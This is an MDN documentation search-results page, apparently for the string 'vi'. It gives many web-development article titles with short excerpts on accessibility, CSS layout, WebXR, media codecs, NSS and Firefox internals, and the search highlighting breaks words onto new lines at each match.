...(in boolean adisable); boolean dispatchdomevent
viapresshell(in nsidomnode atarget, in nsidomevent aevent, in boolean atrusted); nsidomelement elementfrompoint(in float ax, in float ay, in boolean aignorerootscrollframe, in boolean aflushlayout); void entermodalstate(); nsidomelement findelementwith
viewid(in ns
viewid aid); void focus(in nsidomelement aelement); void forceupdatenativemenuat(in astring indexstring); void garbagecollect([optional] in nsicyclecollectorlistener alistener); short getcursortype(); astring getdocumentmetadata(in astring aname); nsidomwindow getouterwindowwithid(in unsigned long long aouterwindowid); long getpccountscriptcount(); astring getpccounts...
...And 58 more matches
Venkman Introduction - Archive of obsolete content
this article pro
vides an over
view and some practical examples of using the javascript debugger in web applications and web page scripting.
...venkman's keyboard shortcuts are the same as leading
visual debugging en
vironments, and gdb users should be familiar with venkman's /break, /step, /next, /finish, /frame, and /where commands.
... on windows, the javascript debugger compares favorably with
visual interdev and other large web development tools.
...And 57 more matches
Strategies for carrying out testing - Learn web development
pre
vious over
view: cross browser testing next this article starts the module off by pro
viding an over
view of the topic of (cross) browser testing, answering questions such as "what is cross-browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing.
...there is no way you can test on every combination of browser and de
vice your users might use to
view your site — there are just too many, and new ones appear all the time.
... instead, you should try to make sure your site works on the most important target browsers and de
vices, and then code defensively to give your site the widest support reach it can be expected to have.
...And 57 more matches
Index
and of course, the idea of the future is always evol
ving in time as things change and we learn more.
...the resulting jsid, on success, is either an interned string or a well-known symbol; either way it is immune to gc so there is no need to
visit *idp during gc marking..
...this not only groups the buffer and length values, it also pro
vides a way to optionally pass ownership of the buffer to the js engine without copying.
...And 57 more matches
SVG documentation index - SVG: Scalable Vector Graphics
3 compatibility sources svg the following sources are used for the compatibility tables on svg elements and attributes: 4 content type needstechnicalre
view, svg, types, data types svg makes use of a number of data types.
...versions of svg
viewers prior to the release of firefox 1.5 unfortunately paid scant attention to namespaces, but they are essential to multi-xml dialect supporting user agents such as gecko-based browsers which must be very strict.
...combined, we get this very natural-looking beha
vior.
...And 55 more matches
Element - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
... nondocumenttypechildnode.pre
viouselementsibling read only is a element, the element immediately preceding the given one in the tree, or null if there is no sibling element.
... element.scrollheight read only returns a number representing the scroll
view height of an element.
...And 54 more matches
Introduction to automated testing - Learn web development
pre
vious over
view: cross browser testing next manually running tests on several browsers and de
vices, several times per day, can get tedious, and time-consuming.
... objective: to pro
vide an understanding of what automated testing entails, how it can make your life easier, and how to make use of some of the commercial products that make things easier.
... we agree — testing all the things we've looked at in pre
vious articles manually can be a real pain.
...And 52 more matches
sslfnc.html
nss_init nss_initreadwrite nss_nodb_init ssl_optionsetdefault ssl_optiongetdefault ssl_cipherprefsetdefault ssl_cipherprefgetdefault ssl_clearsessioncache ssl_configserversessionidcache ssl_configmpserversidcache ssl_inheritmpserversidcache nss_init sets up configuration files and performs other tasks required to run network security ser
vices.
... ssl_cipherpolicyset sets policy flags for indi
vidual cipher suites, one at a time.
... nss_initreadwrite sets up configuration files and performs other tasks required to run network security ser
vices.
...And 52 more matches
Geometry and reference spaces in WebXR - Web APIs
at a fundamental level, rendering of scenes for webxr presentation in either augmented reality or
virtual reality contexts is performed using webgl, so the two apis share much of the same design language.
... however, in order to pro
vide the ability to present scenes in true 3d using xr headsets and other such equipment, webxr has additional concepts that must be understood.
... in this article, we introduce the ways in which webxr expands upon the geometry of webgl, and how the positions and orientations of objects—both physical and
virtual—are described in relation to one another using spaces and, in particular, reference spaces.
...And 51 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
for web developers, it is now fairly common to be called upon to create a web site or app that changes its user interface depending on the browser or de
vice accessing the site to pro
vide an optimized experience.
...you don't get caught in the situation of ha
ving to bring out more new site versions as more new browsers and platforms come out, and adjust code as feature support in existing browsers changes.
...if the content, layout, and functionality need to change greatly for different de
vices, it may not be such a good approach.
...And 51 more matches
WAI-ARIA basics - Learn web development
pre
vious over
view: accessibility next following on from the pre
vious article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated content can be difficult.
... prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, an understanding of the pre
vious articles in the course.
... objective: to gain familiarity with wai-aria, and how it can be used to pro
vide useful additional semantics to enhance accessibility where required.
...And 50 more matches
window.location - Web APIs
syntax var oldlocation = location; location = newlocation; examples basic example alert(location); // alerts "/docs/web/api/window/location" example #1: na
vigate to a new page whenever a new value is assigned to the location object, a document will be loaded using the url as if location.assign() had been called with the modified url.
...nunc eget elit eget velit pul
vinar fringilla consectetur aliquam purus.
... curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non
viverra justo diam eget arcu.
...And 50 more matches
Media container formats (file types) - Web media technologies
the format of audio and
video media files is defined in two parts (three if a file has both audio and
video in it, of course): the audio and/or
video codecs used and the media container format (or file type) used.
...instead, it streams the encoded audio and
video tracks directly from one peer to another using mediastreamtrack objects to represent each track.
...some support only audio while others support both audio and
video.
...And 50 more matches
The "codecs" parameter in common media types - Web media technologies
at a fundamental level, you can specify the type of a media file using a simple mime type, such as
video/mp4 or audio/mpeg.
... however, many media types—especially those that support
video tracks—can benefit from the ability to more precisely describe the format of the data within them.
... for instance, just describing a
video in an mpeg-4 file with the mime type
video/mp4 doesn't say anything about what format the actual media within takes.
...And 50 more matches
HTML: A good basis for accessibility - Learn web development
pre
vious over
view: accessibility next a great deal of web content can be made accessible just by making sure the correct hypertext markup language elements are used for the correct purpose at all times.
...for example, a control button to play a
video on your site could be marked up like this: <div>play
video</div> but as you'll see in greater detail later on, it makes sense to use the correct element for the job: <button>play
video</button> not only do html <button>s have some suitable styling applied by default (which you will probably want to override), they also have built-in keyboard accessibility — users can na
vigate between but...
...if you try na
vigating through this, you'll see that this is pretty easy to na
vigate: the screen reader reads each header out as you progress through the content, notifying you what a heading is, what is a paragraph, etc.
...And 49 more matches
HTML: A good basis for accessibility - Learn web development
pre
vious over
view: accessibility next a great deal of web content can be made accessible just by making sure the correct hypertext markup language elements are used for the correct purpose at all times.
...for example, a control button to play a
video on your site could be marked up like this: <div>play
video</div> but as you'll see in greater detail later on, it makes sense to use the correct element for the job: <button>play
video</button> not only do html <button>s have some suitable styling applied by default (which you will probably want to override), they also have built-in keyboard accessibility — users can na
vigate between but...
...if you try na
vigating through this, you'll see that this is pretty easy to na
vigate: the screen reader reads each header out as you progress through the content, notifying you what a heading is, what is a paragraph, etc.
...And 49 more matches
Introduction to CSS layout - Learn web development
over
view: css layout next this article will recap some of the css layout features we've already touched upon in pre
vious modules — such as different display values — and introduce some of the concepts we'll be covering throughout this module.
... prerequisites: the basics of html (study introduction to html), and an idea of how css works (study introduction to css.) objective: to give you an over
view of css page layout techniques.
... css page layout techniques allow us to take elements contained in a web page and control where they are positioned relative to their default position in normal layout flow, the other elements around them, their parent container, or the main
viewport/window.
...And 49 more matches
Multiple-column layout - Learn web development
pre
vious over
view: css layout next the multiple-column layout specification gives you a method of laying content out in columns, as you might see in a newspaper.
... duis felis orci, pul
vinar id metus ut, rutrum luctus orci.
...integer ligula ipsum, tristique sit amet orci vel,
viverra egestas ligula.
...And 49 more matches
Index
2 account pro
visioner the account pro
visioner is the dialog that first comes up when starting thunderbird.
... the account pro
visioner gives the user the chance to search for and order a vanity email account from a list of partner pro
viders.
... 3 account examples extensions, thunderbird this article pro
vides examples on accessing and manipulating thunderbird accounts.
...And 48 more matches
Index - Firefox Developer Tools
2 3d
view html, tools, web development, web development:tools when you click on the 3d
view button, the page goes into 3d
view mode; in this mode, you can see your page presented in a 3d
view in which nested blocks of html are increasingly "tall," projecting outward from the bottom of the page.
... this
view makes it easy to
visualize the nesting of your content.
... 3 accessibility inspector accessibility, accessibility inspector, devtools, guide, tools the accessibility inspector pro
vides a means to access important information exposed to assistive technologies on the current page
via the accessibility tree, allowing you to check what's missing or otherwise needs attention.
...And 48 more matches
Intersection Observer API - Web APIs
the intersection observer api pro
vides a way to asynchronously observe changes in the intersection of a target element with an ancestor element or with a top-level document's
viewport.
... historically, detecting
visibility of an element, or the relative
visibility of two elements in relation to each other, has been a difficult task for which solutions have been unreliable and prone to causing the browser and the sites the user is accessing to become sluggish.
... reporting of
visibility of advertisements in order to calculate ad revenues.
...And 48 more matches
Accessible multimedia - Learn web development
pre
vious over
view: accessibility next another category of content that can create accessibility problems is multimedia —
video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users.
...images,
videos, <canvas> elements, flash mo
vies, etc., aren't as easily understood by screenreaders or na
vigated by the keyboard, and we need to give them a helping hand.
... but don't despair — here we will help you na
vigate through the techniques available for making multimedia more accessible.
...And 47 more matches
Floats - Learn web development
pre
vious over
view: css layout next originally for floating images inside blocks of text, the float property became one of the most commonly used tools for creating multiple column layouts on webpages.
... the background of floats the float property was introduced to allow web developers to implement simple layouts invol
ving an image floating inside a column of text, with the text wrapping around the left or right of it.
... floats have commonly been used to create entire web site layouts featuring multiple columns of information floated so they sit alongside one another (the default beha
vior would be for the columns to sit below one another, in the same order as they appear in the source).
...And 47 more matches
Gecko info for Windows accessibility vendors
microsoft active accessibility (msaa) an api de
vised by microsoft so that accessibility aids can track what's going on inside the user interface of any software package that supports it.
...in general we abbre
viate by remo
ving redundant words.
...queryser
vice() can be used to switch between the interfaces (iaccessible, isimpledomdocument, isimpledomnode and isimpledomtext).
...And 47 more matches
Capabilities, constraints, and settings - Web APIs
the constraint exerciser lets you experiment with the results of different constraint sets being applied to the audio and
video tracks coming from the computer's a/v input de
vices (such as its webcam and microphone).
... over
view the process works like this (using mediastreamtrack as an example): if needed, call mediade
vices.getsupportedconstraints() to get the list of supported constraints, which tells you what constrainable properties the browser knows about.
... determining if a constraint is supported if you need to know whether or not a given constriant is supported by the user agent, you can find out by calling na
vigator.mediade
vices.getsupportedconstraints() to get a list of the constrainable properties which the browser knows, like this: let supported = na
vigator.mediade
vices.getsupportedconstraints(); document.getelementbyid("framerateslider").disabled = !supported["framerate"]; in this example, the supported constraints are fetched, and a control that lets the user configure the frame rate is disabled...
...And 47 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
the html <input> element is used to create interactive controls for web-based forms in order to accept data from the user; a wide variety of types of input data and control widgets are available, depending on the de
vice and user agent.
... the available types are as follows: type description basic examples spec button a push button with no default beha
vior displaying the value of the value attribute, empty by default.
...looks like a text input, but has validation parameters and relevant keyboard in supporting browsers and de
vices with dynamic keyboards.
...And 46 more matches
Codecs used by WebRTC - Web media technologies
the webrtc api makes it possible to construct web sites and apps that let users communicate in real time, using audio and/or
video as well as optional data and other information.
... to communicate, the two de
vices need to be able to agree upon a mutually-understood codec for each track so they can successfully communicate and present the shared media.
... this guide re
views the codecs that browsers are required to implement as well as other codecs that some or all browsers support for webrtc.
...And 46 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
for an over
view of ssl, see "introduction to ssl." for an over
view of encryption and decryption, see "encryption and decryption." information on digital signatures is available from "digital signatures." public-key cryptography is a set of well-established techniques and standards for protecting communications from eavesdropping, tampering, and impersonation attacks.
...the receiver decrypts, or unscrambles, the information after recei
ving it.
... certificates and authentication managing certificates certificates and authentication a certificate identifies someone or something authentication confirms an identity how certificates are used contents of a certificate how ca certificates are used to establish trust a certificate identifies someone or something a certificate is an electronic document used to identify an indi
vidual, a server, a company, or some other entity and to associate that identity with a public key.
...And 45 more matches
Mozilla’s UAAG evaluation report
support input and output de
vice-independence.
...(p1) p onmouseover, onmousedown, onmouseup, onmousemove, onclick, ondbclick: no keyboard support onfocus and onblur: cannot be activated with pointer 1.3 pro
vide text messages.
... 2.2 pro
vide text
view.
...And 45 more matches
Web Replay
learn more web replay allows firefox content processes to record their beha
vior, replay it later, and rewind to earlier states.
... replaying processes preserve all the same js beha
vior, dom structures, graphical updates, and most other beha
viors that occurred while recording.
... live rewinding at any time while recording, the tab can be rewound to replay earlier beha
vior, all the way back to when the tab was opened or to the last time it na
vigated.
...And 45 more matches
Mobile accessibility - Learn web development
pre
vious over
view: accessibility next with web access on mobile de
vices being so popular and renowned platforms such as ios and android ha
ving full-fledged accessibility tools, it is important to consider the accessibility of your web content on these platforms.
... prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, and an understanding of the pre
vious articles in the course.
... objective: to understand what problems exist with accessibility on mobile de
vices, and how to overcome them.
...And 44 more matches
Handling common HTML and CSS problems - Learn web development
pre
vious over
view: cross browser testing next with the scene set, we'll now look specifically at the common cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems from happening, or fix problems that occur.
...responsive design problems are also common — a site that looks good in a desktop browser might pro
vide a terrible experience on a mobile de
vice, because the content is too small to read, or perhaps the site is slow because of expensive animations.
... in our debugging html and debugging css articles, we pro
vided some really basic guidance on debugging html/css — if you are not familiar with the basics, you should definitely study these articles before carrying on.
...And 44 more matches
Handling common JavaScript problems - Learn web development
pre
vious over
view: cross browser testing next now we'll look at common cross-browser javascript problems and how to fix them.
... fixing general javascript problems as we said in the pre
vious article on html/css, you should make sure your code is working generally, before going on to concentrate on the cross-browser issues.
... if you are not already familiar with the basics of troubleshooting javascript, you should study that article before mo
ving on.
...And 44 more matches
Accessibility documentation index - Accessibility
this document pro
vides a list of links to all accessibility articles on the mozilla developer network.
... found 105 pages: # page tags and summary 1 accessibility accessibility, landing accessibility (often abbre
viated to a11y—as in "a" then 11 characters then "y") in web development means enabling as many people as possible to use web sites, even when those people's abilities are limited in some way.
...the following is intended to pro
vide implementation guidance that respects screen readers developers' need to try different things.
...And 44 more matches
Beginner's guide to media queries - Learn web development
pre
vious over
view: css layout next the css media query gives you a way to apply css only when the browser and de
vice en
vironment matches a rule that you specify, for example "
viewport is wider than 480 pixels".
... media queries are a key part of responsive web design, as they allow you to create different layouts depending on the size of the
viewport, but they can also be used to detect other things about the en
vironment your site is running on, for example whether the user is using a touchscreen rather than a mouse.
... width and height the feature we tend to detect most often in order to create responsive designs (and that has widespread browser support) is
viewport width, and we can apply css if the
viewport is above or below a certain width — or an exact width — using the min-width, max-width, and width media features.
...And 43 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
related: xulrunner:what xulrunner pro
vides, xulrunner hall of fame ui in mozilla mozilla's philosophy of using "the right tool for the right job" is manifested most prominently in the design of the user interface.
... we pro
vide an xml-based language called xul for defining the user interface of your application.
...javascript, considered by many to be the best scripting language ever designed is ideal for specifying the beha
vior of your interface widgets.
...And 42 more matches
WebIDL bindings
this is a signal that you need to get a re
view from a dom peer.
... resist the urge to just add your interfaces to the moz.build list without the re
view; it will just annoy the dom peers and they'll make you get the re
view anyway.
...(this allows the return value to be implicitly converted to a parentobject instance by the compiler
via one of that class's non-explicit constructors.) if many instances of myinterface are expected to be created quicky, the return value of getparentobject should itself inherit from nswrappercache for optimal performance.
...And 42 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
using this information, a screen reader will speak out loud important changes to the document or ui, and allow the user to track where they na
vigate.
... the screen reader user can na
vigate the web page using screen reader commands or browser commands, and the two pieces of software must remain in sync.
...screen magnifiers will zoom to the focus, keeping it on the screen at all times, or even allow the user to enter a special low
vision document reading mode, with a variety of features such as ticker mode where text is streamed on a single line.
...And 42 more matches
Using media queries - CSS: Cascading Style Sheets
media queries are useful when you want to modify your site or app depending on a de
vice's general type (such as print vs.
... screen) or specific characteristics and parameters (such as screen resolution or browser
viewport width).
... a media query computes to true when the media type (if specified) matches the de
vice on which a document is being displayed and all media feature expressions compute as true.
...And 42 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
« pre
viousnext » this document was authored by taiga (gomita) gomibuchi and was originally published in japanese for the firefox developers conference summer 2007.
... setting up your development en
vironment in order to develop (and test) extensions in a most convenient way it is recommended to apply some changes to firefox.
... in the following you will find a brief description how to do so; a more detailed one can be found under setting up an extension development en
vironment.
...And 41 more matches
Introducing a complete toolchain - Learn web development
pre
vious over
view: understanding client-side tools next in the final couple of articles in the series we will solidify your tooling knowledge by walking you through the process of building up a sample case study toolchain.
... we'll go all the way from setting up a sensible development en
vironment and putting transformation tools in place to actually deploying your app on netlify.
... in this article we'll introduce the case study, set up our development en
vironment, and set up our code transformation tools.
...And 41 more matches
Mozilla
a bird's-eye
view of the mozilla framework the purpose of this article is to pro
vide a high-level technical over
view of the architecture of the extensible, object-based mozilla application framework.
...see the gecko over
view for more information about the style system.
... adding phishing protection data pro
viders phishing protection technology lets firefox help protect users by comparing the urls the user
visits to a list of known scam sites, and presenting a warning to the user when they
visit a site on the list.
...And 41 more matches
Legacy layout methods - Learn web development
pre
vious over
view: css layout next grid systems are a very common feature used in css layouts, and before css grid layout they tended to be implemented using floats or other layout features.
...ha
ving studied grid layout you will probably be surprised how complicated this all seems!
...they work by gi
ving items a size, and pushing them around to line them up in a way that looks like a grid.
...And 40 more matches
How to build custom form controls - Learn web development
for example, if you need to perform advanced styling on some controls such as the <select> element or if you want to pro
vide custom beha
viors, you may consider building your own controls.
...to do this, it's good to start with an existing control whose states and beha
vior are well known, so that you can simply mimic those as much as possible.
... in terms of beha
vior, we are recreating a native html element.
...And 39 more matches
From object to iframe — other embedding technologies - Learn web development
pre
vious over
view: multimedia and embedding next by now you should really be getting the hang of embedding things into your web pages, including images,
video and audio.
... prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with html fundamentals (as covered in getting started with html) and the pre
vious articles in this module.
... objective: to learn how to embed items into web pages using <object>, <embed>, and <iframe>, like flash mo
vies and other webpages.
...And 39 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
« pre
viousnext » fixme: we should include a link to the mdc list of snippets fixme: we need to add a part about 'why and how to create your own component' c++/js this document was authored by hiroshi shimoda of clear code inc.
... due to deprecation of enablepri
vilege this functionality can not be used in web pages.
... enablepri
vilege is disabled in firefox 15 and will be removed in firefox 17.
...And 38 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
it's mission is to enable completely automatic configuration of mozilla's apps preferences based on users properties either retrieved from system en
vironement variables or on an organisation ldap directory.
... situation int-evry manages about 3000 users (mostly students) who share computers in labs and "self ser
vice" computer rooms.
... objective the objective is to pro
vide users with a mailer agent, a web browser, and a news reader which are automatically configured (preferences) at startup to the current user connected on the computer.
...And 38 more matches
tree - Archive of obsolete content
unlike other elements, the data to display inside the tree is not specified using tags, but is determined from a
view object.
... the
view object implements the nsitree
view interface.
... the
view is queried for the data to appear in the tree.
...And 38 more matches
Archived Mozilla and build documentation - Archive of obsolete content
building transformiix standalone calicalendar
view an object implementing calicalendar
view is generally intended to serve as a way of manipulating a set of dom nodes corresonding to a
visual representation of calievent and calitodo objects.
... because of this close association between methods and attributes on the one hand, and content on the other, calicalendar
view implementations are particularly well suited to xbl.
... calicalendar
viewcontroller a calicalendar
viewcontroller pro
vides a way for a calicalendar
view to create, modify, and delete items.
...And 38 more matches
CustomizableUI.jsm
if you want to use it from a jsm or another context without a window reference, you need to import it yourself: components.utils.import("resource:///modules/customizableui.jsm"); introduction the module is intended for two primary purposes: allow adding, mo
ving and remo
ving customizable widgets.
...when a customizable toolbar's xbl binding is constructed (generally, that is when a <toolbar customizable="true"/> node is appended to the document and isn't in
visible), the binding will call into customizableui and register the toolbar's node as being one of the concrete instances of its area.
...in order to register such a toolbar, set the 'overflowable' property to true, and pro
vide the id of the anchor in the 'anchor' property.
...And 38 more matches
Introduction to events - Learn web development
pre
vious over
view: building blocks next events are actions or occurrences that happen in the system you are programming, which the system tells you about so you can respond to them in some way if desired.
... objective: to understand the fundamental theory of events, how they work in browsers, and how events may differ in different programming en
vironments.
... a series of fortunate events as mentioned above, events are actions or occurrences that happen in the system you are programming — the system produces (or "fires") a signal of some kind when an event occurs, and pro
vides a mechanism by which an action can be automatically taken (that is, some code running) when the event occurs.
...And 37 more matches
Working with Svelte stores - Learn web development
pre
vious over
view: client-side javascript frameworks next in the last article we completed the development of our app, finished organizing it into components, and discussed some advanced techniques for dealing with reacti
vity, working with dom nodes, and exposing component functionality.
...in that case, mo
ving to a global data store might be a good option.
... svelte pro
vides functions for creating readable, writable, and derived stores in the svelte/store module.
...And 37 more matches
Perceivable - Accessibility
this article pro
vides practical ad
vice on how to write your web content so that it conforms to the success criteria outlined in the perceivable principle of the web content accessibility guidelines (wcag) 2.0 and 2.1.
... guideline 1.1 — pro
viding text alternatives for non-text content the key here is that text can be converted to other forms that people with disabilities can use.
...non-text content refers to multimedia such as images, audio, and
video.
...And 37 more matches
Responsive design - Learn web development
pre
vious over
view: css layout next in the early days of web design, pages were built to target a particular screen size.
...it is an idea that changed the way we design for a multi-de
vice web, and in this article, we'll help you understand the main techniques you need to know to master it.
...when
viewing the example, drag your browser window in and out to see how this looks at different sizes.
...And 36 more matches
Introduction to the server side - Learn web development
over
view: first steps next welcome to the mdn beginner's server-side programming course!
... most large-scale websites use server-side code to dynamically display different data when needed, generally pulled out of a database stored on a server and sent to the client to be displayed
via some code (e.g.
... perhaps the most significant benefit of server-side code is that it allows you to tailor website content for indi
vidual users.
...And 36 more matches
NSS API Guidelines
the libraries section descibes the nss libraries, the functionality each pro
vides, and the layer in which the library (mostly) operates.
...that is, access to these functions should only be pro
vided by the api directly above them.
...the layer indicates the main layer, seen in the pre
vious diagram, in which the library operates.
...And 36 more matches
Creating the Component Code
« pre
viousnext » this chapter goes over the basic code required to handle the relationship between your component and xpcom.
... ha
ving the component found and registered properly is the goal of this first chapter of the tutorial.
... use the calculator (after learning long di
vision) you have to write a fair amount of code to create a component library that gets loaded into xpcom.
...And 36 more matches
Plug-in Basics - Plugins
plug-ins like these are now available: multimedia
viewers such as adobe flash and adobe acrobat utilities that pro
vide object embedding and compression/decompression ser
vices applications that range from personal information managers to games the range of possibilities for using plug-in technology seems boundless, as shown by the growing numbers of independent software vendors who are creating new and innovative plug-ins.
...notice in
view-source that this information is simply gathered from the javascript.
...this section gives you an over
view of the way that plug-ins operate in the browser.
...And 36 more matches
Browser detection using the user agent - HTTP
ser
ving different web pages or ser
vices to different browsers is usually a bad idea.
... the web is meant to be accessible to everyone, regardless of which browser or de
vice they're using.
...also, experts, or simply people with another point of
view, can give you ideas for working around the bug.
...And 36 more matches
Trees - Archive of obsolete content
« pre
viousnext » xul pro
vides a way to create tabular or hierarchical lists using a tree.
...a tree also allows the user to rearrange, resize and hide indi
vidual columns.
...this contrasts with the listbox, where indi
vidual listitem and listcell tags are used to specify the rows in the listbox.
...And 35 more matches
Mobile first - Progressive web apps (PWAs)
in our planning your app article, we pro
vided a high level look into the kinds of planning and functionality decisions you should make before you start coding an app, including some ideas for desktop and mobile design.
... this article offers some related ideas, looking at the concept of mobile first — the practice of designing a website so that the default layout/configuration is for mobile de
vices, and layouts and features for desktop browsers are then layered on top of that default.
...this rings true, yes, but in our experience mobile first is more about ha
ving the mobile implementation as a default layer to build on.
...And 35 more matches
Responsive images - Learn web development
pre
vious over
view: multimedia and embedding next in this article, we'll learn about the concept of responsive images — images that work well on de
vices with widely differing screen sizes, resolutions, and other such features — and look at what tools html pro
vides to help implement them.
... this helps to improve performance across different de
vices.
...here's a simple example: this works well on a wide screen de
vice, such as a laptop or desktop (you can see the example live and find the source code on github.) we won't discuss the css much in this lesson, except to say that: the body content has been set to a maximum width of 1200 pixels — in
viewports above that width, the body remains at 1200px and centers itself in the available space.
...And 34 more matches
Introduction to cross browser testing - Learn web development
over
view: cross browser testing next this article starts the module off by pro
viding an over
view of the topic of (cross) browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages.
...as a web developer, it is your responsibility to make sure that not only do your projects work, but they work for all your users, no matter what browser, de
vice, or additional assistive tools they are using.
... you need to think about: different browsers other than the one or two that you use regularly on your de
vices, including slightly older browsers that some people might still be using, which don't support all the latest, shiniest css and javascript features.
...And 34 more matches
Debugging on Windows
this document explains how to debug mozilla-derived applications such as firefox, thunderbird, and seamonkey on windows using the
visual c++ ide.
... ways to start the debugger first of all, it's necessary to install a
visual studio extension to be able to follow child processes as they are created.
... firefox, in general, and even in non-e10s mode, does not start the main process directly, it starts it
via a launcher process.
...And 34 more matches
JSAPI User Guide
but in mozilla, all of these features are actually pro
vided by other components, not the spidermonkey engine itself.
... spidermonkey pro
vides a few core javascript data types—numbers, strings, arrays, objects, and so on—and a few methods, such as array.push.
... some systems (such as debian) pro
vide spidermonkey as a prebuilt package.
...And 34 more matches
about:debugging - Firefox Developer Tools
the about:debugging page pro
vides a single place from which you can attach the firefox developer tools to a number of debugging targets.
... when about:debugging opens, on the left-hand side, you'll see a sidebar with two options and information about your remote debugging setup: setup use the setup tab to configure the connection to your remote de
vice.
... this firefox pro
vides information about temporary extensions you have loaded for debugging, extensions that are installed in firefox, the tabs that you currently have open, and ser
vice workers running on firefox.
...And 34 more matches
Web accessibility for seizures and physical reactions - Accessibility
over
view seizures seizures caused by light are known as photosensitive epilepsy.
...web technologies that use
video, animated gifs, animated pngs, animated svgs, canvas, and css or javascript animations are all capable of content that can induce seizures or other incapacitating physical reactions.
... certain
visual patterns, especially stripes, can also cause physical reactions even though they are not animated.
...And 34 more matches
Performance fundamentals - Web Performance
users pro
vide inputs to the system through touch, movement, and speech.
... responsiveness responsiveness simply means how fast the system pro
vides outputs (possibly multiple ones) in response to user inputs.
... framerate is important as a "quality of ser
vice" metric.
...And 34 more matches
preserveAspectRatio - SVG: Scalable Vector Graphics
the preserveaspectratio attribute indicates how an element with a
viewbox pro
viding a given aspect ratio must fit into a
viewport with a different aspect ratio.
... because the aspect ratio of an svg image is defined by the
viewbox attribute, if this attribute isn't set, the preserveaspectratio attribute has no effect (with one exception, the <image> element, as described below).
... example <svg
viewbox="-1 -1 162 92" xmlns="http://www.w3.org/2000/svg"> <defs> <path id="smiley" d="m50,10 a40,40,1,1,1,50,90 a40,40,1,1,1,50,10 m30,40 q36,35,42,40 m58,40 q64,35,70,40 m30,60 q50,75,70,60 q50,75,30,60" /> </defs> <!-- (width>height) meet --> <svg preserveaspectratio="xmidymid meet" x="0" y="0"
viewbox="0 0 100 100" width="20" height="10"><use href="#smiley" /></svg> <svg preserveaspectratio="xminymid meet" x="25" y="0"
viewbox="0 0 100 100" width="20" height="10"><use href="#smiley" /></svg> <svg preserveaspectratio="xmaxymid meet" x="50" y="0"
viewbox="0 0 100 100" width="20" height="10"><use href="#smiley" /></svg> <!-- (width>height) slice --> <svg preserveaspectratio="xmidymin slice" x="0" y="15"
viewbox="0 0 100 100" width="20" ...
...And 34 more matches
Starting up and shutting down a WebXR session - Web APIs
before you can begin to render your augmented or
virtual reality scenario, you need to create and set up the webxr session, and you should know how to shut it down properly as well.
...this object represents the overall webxr de
vice suite available to you through the hardware and drivers available on the user's equipment.
... there is a global xrsystem object available for use by your document through the the na
vigator property xr, which returns the xrsystem object if suitable xr hardware is available for your use given the hardware available and your document's en
vironment.
...And 33 more matches
widget - Archive of obsolete content
first, your users will be accustomed to interacting with add-ons
via widgets and the add-on bar.
... for example, this widget contains an image, so it looks like a simple icon: require("sdk/widget").widget({ id: "mozilla-icon", label: "my mozilla widget", contenturl: "http://www.mozilla.org/fa
vicon.ico" }); you can make contenturl point to an html or icon file which you have packaged inside your add-on.
...this makes your code easier to maintain, secure, debug and re
view.
...And 32 more matches
platform/xpcom - Archive of obsolete content
implement xpcom objects, factories, and ser
vices.
... usage the xpcom module makes it simpler to perform three main tasks: implement xpcom object interfaces implement and register xpcom factories implement and register xpcom ser
vices if all you need to do is use xpcom objects that someone else has implemented, then you don't need to use this module.
...by subclassing unknown, either using standard javascript inheritance or using the sdk's heritage module, you can pro
vide your own implementations of xpcom interfaces.
...And 32 more matches
Getting started with Svelte - Learn web development
pre
vious over
view: client-side javascript frameworks next in this article we'll pro
vide a quick introduction to the svelte framework.
...then we will learn how to setup our development en
vironment, create a sample app, understand the structure of the project, and see how to run it locally and build it for production.
... objective: to setup a local svelte development en
vironment, create and build a starter app, and understand the basics of how it works.
...And 32 more matches
Fullscreen API - Web APIs
this makes it possible to present desired content—such as an online game—using the user's entire screen, remo
ving all browser user interface elements and other applications from the screen until full-screen mode is shut off.
...instead, it augments several other interfaces to add the methods, properties, and event handlers needed to pro
vide full-screen functionality.
... methods on the element interface element.requestfullscreen() asks the user agent to place the specified element (and, by extension, its descendants) into full-screen mode, remo
ving all of the browser's ui elements as well as all other applications from the screen.
...And 32 more matches
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
the webxr apis used for implementing augmented and
virtual reality is designed specifically to pro
vide the ability to insert a human into a
virtual en
vironment.
... to accomplish this, software needs the ability to not only track the locations, orientation, and movements of objects in the
virtual world, but the user's location, orientation, and movement as well.
... but webxr goes beyond that by adding the ability to track the location, orientation, and motion of the input de
vices which generate data used to determine the position and movement of indi
vidual parts of the
viewer's body (with appropriate equipment).
...And 32 more matches
CSS and JavaScript accessibility best practices - Learn web development
pre
vious over
view: accessibility next css and javascript, when used properly, also have the potential to allow for accessible web experiences ...
...to put it another way, it is important that you consider some best practice ad
vice to make sure that your use of css and javascript doesn't ruin the accessibility of your documents.
... as an example, a screen reader user can't na
vigate a page
